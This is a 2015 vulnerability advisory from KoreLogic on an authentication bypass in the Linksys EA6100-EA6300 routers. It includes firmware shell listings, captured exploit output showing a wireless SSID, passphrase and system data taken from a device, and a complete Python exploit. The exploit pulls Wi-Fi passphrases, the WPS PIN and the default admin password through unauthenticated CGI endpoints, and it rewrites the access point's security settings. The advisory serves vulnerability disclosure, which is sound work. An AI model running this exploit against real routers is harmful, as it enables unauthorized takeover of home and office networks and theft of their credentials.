Linksys EA6100 Wireless Router Authentication Bypass

Vulnerability Description

Multiple CGI scripts in the web-based administrative interface of the Linksys EA6100 - EA6300 Wireless Router allow unauthenticated access to the high-level administrative functions of the device. This vulnerability can be leveraged by an unauthenticated attacker to obtain the router’s administrative password and subsequently arbitrarily configure the device.

Technical Description

root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# ls
bin  dev  etc  home  JNAP  lib  libexec  linuxrc  mnt  opt  proc  root
sbin  sys  tmp  usr  var  www
root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# cd www
root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls
bootloader_info.cgi  dhcp_log.txt    get_counter_info.cgi
incoming_log.txt  JNAP         outgoing_log.txt  security_log.txt
sysinfo.cgi  usbinfo.cgi     cgi-bin              ezwifi_cfg.cgi
getstinfo.cgi         jcgi              license.pdf  qos_info.cgi
speedtest_info.cgi  ui
root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls -la sysinfo.cgi
lrwxrwxrwx 1 root root 23 Jul 21  2014 sysinfo.cgi -> /www/ui/cgi/sysinfo.cgi
root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# cat ui/cgi/sysinfo.cgi
#!/bin/sh

########################################################
# sysinfo.sh ----> /www/sysinfo.cgi
#
# When adding new debug information into this script file
# do the following:
#    1)  create your debug script <your_debug_script.sh>
#    2)  call your debug script in this sysinfo.sh script
#        using the format:
#         if [ -f <your debug script> ]; then
#             ./<your debug script.cgi>
#         fi
########################################################
...
...

Other CGI files that are accessible from an unauthenticated perspective can be used to configure settings for the affected device. This led to the development of an exploit to abuse these vulnerabilities.

level:Debug level$ ./linksys-ea6100-auth-bypass -h
Usage: ./linksys-ea6100-auth-bypass [params]

-h Help Menu
-i Target Address
-r Reset Attack
-g Get System Info
-p Get Wifi Password

Example: ./linksys-ea6100-auth-bypass -i 10.10.10.1 -r
Brought to you by Level at KoreLogic
level:Debug level$ ./linksys-ea6100-auth-bypass -i 172.17.100.200 -p
Getting wireless passphrase

SSID=840146d6919<redacted>
Passphrase=e0fc253e585bf33d7b<redacted>
level:Debug level$ ./linksys-ea6100-auth-bypass -i 172.17.100.200 -g|more
Brought to you by Level at KoreLogic
Getting system info

page generated on Tue Jan 20 20:01:48 UTC 2015

UpTime:
 20:01:48 up 3 days, 16:24, load average: 0.00, 0.04, 0.05

Firmware Version: 1.1.5.159694
Firmware Builddate: 2014-03-21 03:09
Product.type: production
Linux: Linux version 2.6.36 (root@build-vm) (gcc version 4.2.3) #1 Thu Mar 20 19:40:45 PDT 2014
Board: focus
...
...

Mitigation and Remediation Recommendation

No response from vendor; no remediation available.

Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc.

Proof of Concept

#!/usr/bin/env python3
########################################################################
#
# Copyright 2015 KoreLogic Inc.,  All Rights Reserved.
#
# This proof of concept,  having been partly or wholly developed
# and/or sponsored by KoreLogic,  Inc.,  is hereby released under
# the terms and conditions set forth in the Creative Commons
# Attribution Share-Alike 4.0 (United States) License:
#
#   http://creativecommons.org/licenses/by-sa/4.0/
#
#######################################################################

from optparse import OptionParser
from urllib.request import urlopen, Request
from base64 import b64encode
from json import loads
from sys import exit


def reset_ap(host, passphrase):
    """Resets the wireless security settings of the access point."""
    try:
        payload = '[{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_5GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic"}}}]}}]'
        headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))}
        request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers)
        fd = urlopen(request)
        data5 = loads(fd.read())['result']
        fd.close()
    except Exception as e:
        print("[!] Could not reset the 5ghz access point security, reason: {0}.".format(str(e)))
        return -1
    try:
        payload = '[{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_2GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic2", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic2"}}}]}}]'
        headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))}
        request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers)
        fd = urlopen(request)
        data2 = loads(fd.read())['result']
        fd.close()
    except Exception as e:
        print("[!] Could not reset the 2.4ghz access point security, reason: {0}".format(str(e)))
        return -1
    return data5, data2


def is_admin_default(host):
    """Determines whether or not the administrator passphrase is default."""
    try:
        request = Request("https://{:s}/JNAP/".format(str(host)), "{}".encode('ascii'), {'X-JNAP-Action': 'http://linksys.com/jnap/core/IsAdminPasswordDefault'})
        fd = urlopen(request)
        data = loads(fd.read().decode('utf-8'))['output']['isAdminPasswordDefault']
        fd.close()
    except Exception as e:
        print("[!] Could not determine if administrator passphrase is default, reason: {0}".format(str(e)))
        return -1
    return data


def is_host_alive(host):
    """Does a basic HTTP test to determine access."""
    try:
        fd = urlopen("https://{:s}/".format(str(host)))
        fd.close()
    except Exception as e:
        print("[!] Could not determine if target host was alive, reason: {:s}".format(str(e)))
        return False
    print("[+] Target host is alive, proceeding.")
    return True


def run_payload(host, payload_url):
    """Run a provided HTTP request."""
    try:
        target = "https://{:s}/{:s}".format(str(host), str(payload_url))
        fd = urlopen(target)
        data = fd.read()
        fd.close()
    except Exception as e:
        print("[!] Unable to execute payload,  reason: {0}".format(str(e)))
        return -1
    return data.decode('utf-8')


def main():
    """Handle options provided and execute appropriate payloads."""
    payload_url, o, a = None, None, None
    print("Brought to you by Level at KoreLogic\n")
    parser = OptionParser()
    parser.add_option("--host", dest="host", help="Target IP address")
    parser.add_option("--sysinfo", action="store_true", help="Get target system information")
    parser.add_option("--getpwhash", action="store_true", help="Get target wireless password hash")
    parser.add_option("--getclearpw", action="store_true", help="Get target wireless SSID and cleartext password")
    parser.add_option("--isdefault", action="store_true", help="Check if target is running the default admin credential (if yes, obtain passphrase)")
    parser.add_option("--resetwifi", action="store_true", help="Reset the access point security (requires default passphrase)")
    parser.add_option("--poisonwifi", action="store_true", help="Poison the access point security settings")
    parser.add_option("--getwpspin", action="store_true", help="Get the WPS pin for the target")
    o, a = parser.parse_args()
    if o.host is None:
        print("[!] You must specify a target host, please see --help")
        exit(1)
    else:
        if is_host_alive(o.host) is not True:
            print("[!] Could not establish connection to target")
            exit(1)
        else:
            if o.sysinfo is not None:
                print("[+] Obtaining system information -")
                payload_url = "sysinfo.cgi"
                response = run_payload(o.host, payload_url)
                if response is not -1:
                    for line in response.split("\n"):
                        print(line)
            if o.getpwhash is not None:
                print("[+] Obtaining wireless password hash -")
                payload_url = "getstinfo.cgi"
                response = run_payload(o.host, payload_url)
                if response is not -1:
                    for line in response.split("\n"):
                        print("\t{0}".format(str(line)))
            if o.getclearpw is not None:
                print("[+] Obtaining wireless ssid and password -")
                payload_url = "sysinfo.cgi"
                response = run_payload(o.host, payload_url)
                if response is not -1:
                    for line in response.split("\n"):
                        if "wl0_ssid=" in line:
                            print("\twl0 SSID: {0}".format(str(line.split("=")[1])))
                        if "wl1_ssid=" in line:
                            print("\twl1 SSID: {0}".format(str(line.split("=")[1])))
                        if "wl0_passphrase=" in line:
                            print("\twl0 Passphrase: {0}".format(str(line.split("=")[1])))
                        if "wl1_passphrase=" in line:
                            print("\twl1 Passphrase: {0}".format(str(line.split("=")[1])))
            if o.isdefault is not None:
                print("[+] Checking if administrator passphrase is default -")
                payload_url = "sysinfo.cgi"
                response = is_admin_default(o.host)
                if response is True:
                    print("[+] Passphrase is default, asking for the password -")
                    payload_url = "sysinfo.cgi"
                    response = run_payload(o.host, payload_url)
                    if response is not -1:
                        for line in response.split("\n"):
                            if "device::default_passphrase=" in line:
                                print("\tDefault passphrase: {0}".format(str(line.split("=")[1])))
                else:
                    print("[!] Passphrase is not default")
            if o.getwpspin is not None:
                print("[+] Getting WPS pin -")
                payload_url = "sysinfo.cgi"
                response = run_payload(o.host, payload_url)
                if response is not -1:
                    for line in response.split("\n"):
                        if "device::wps_pin=" in line:
                            print("\tWPS PIN: {0}".format(str(line.split("=")[1])))
            if o.resetwifi is not None:
                print("[+] Resetting the access point security -")
                payload_url = "sysinfo.cgi"
                response = is_admin_default(o.host)
                if response is True:
                    print("[+] Admin password is default, asking for the password")
                    response = run_payload(o.host, payload_url)
                    if response is not -1:
                        for line in response.split("\n"):
                            if "device::default_passphrase=" in line:
                                passphrase = line.split("=")[1]
                                print("[+] Got the passphrase: {0}".format(str(passphrase)))
                                data5, data2 = reset_ap(o.host, passphrase)
                                if data5 is 'OK' and data2 is 'OK':
                                    print("[+] AP will now restart with the SSID and passphrase: korelogic/korelogic and korelogic2/korelogic2")
                else:
                    print("[!] Admin password is not default.")
            if o.poisonwifi is not None:
                print("[+] Poisoning wireless ssid configuration")
                payload_url = "ezwifi_cfg.cgi?CMD=configure&2ssid=korelogic&2passphrase=korelogic&2mode=11b&5ssid=korelogic2&5passphrase=korelogic2&5mode=11a"
                response = run_payload(o.host, payload_url)
                if response is not -1:
                    payload_url = "sysinfo.cgi"
                    response = run_payload(o.host, payload_url)
                    if response is not -1:
                        ap_poisoned = None
                        for line in response.split("\n"):
                            if "wl0_ssid=" in line or "wl1_ssid=" in line:
                                if "korelogic" in line:
                                    print("[+] Access point ssid settings poisoned. An administrator will need to hit Apply anywhere in the UI")
                                    ap_poisoned = 1
                        if ap_poisoned is None:
                            print("[!] Access point ssid settings could not be poisoned, consider running --getclearpw")
            if payload_url is None:
                print("[!] No attack has been specified, please see --help")
                exit(1)
    return exit(0)

if __name__ == "__main__":
    main()

The contents of this advisory are copyright(c) 2015 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt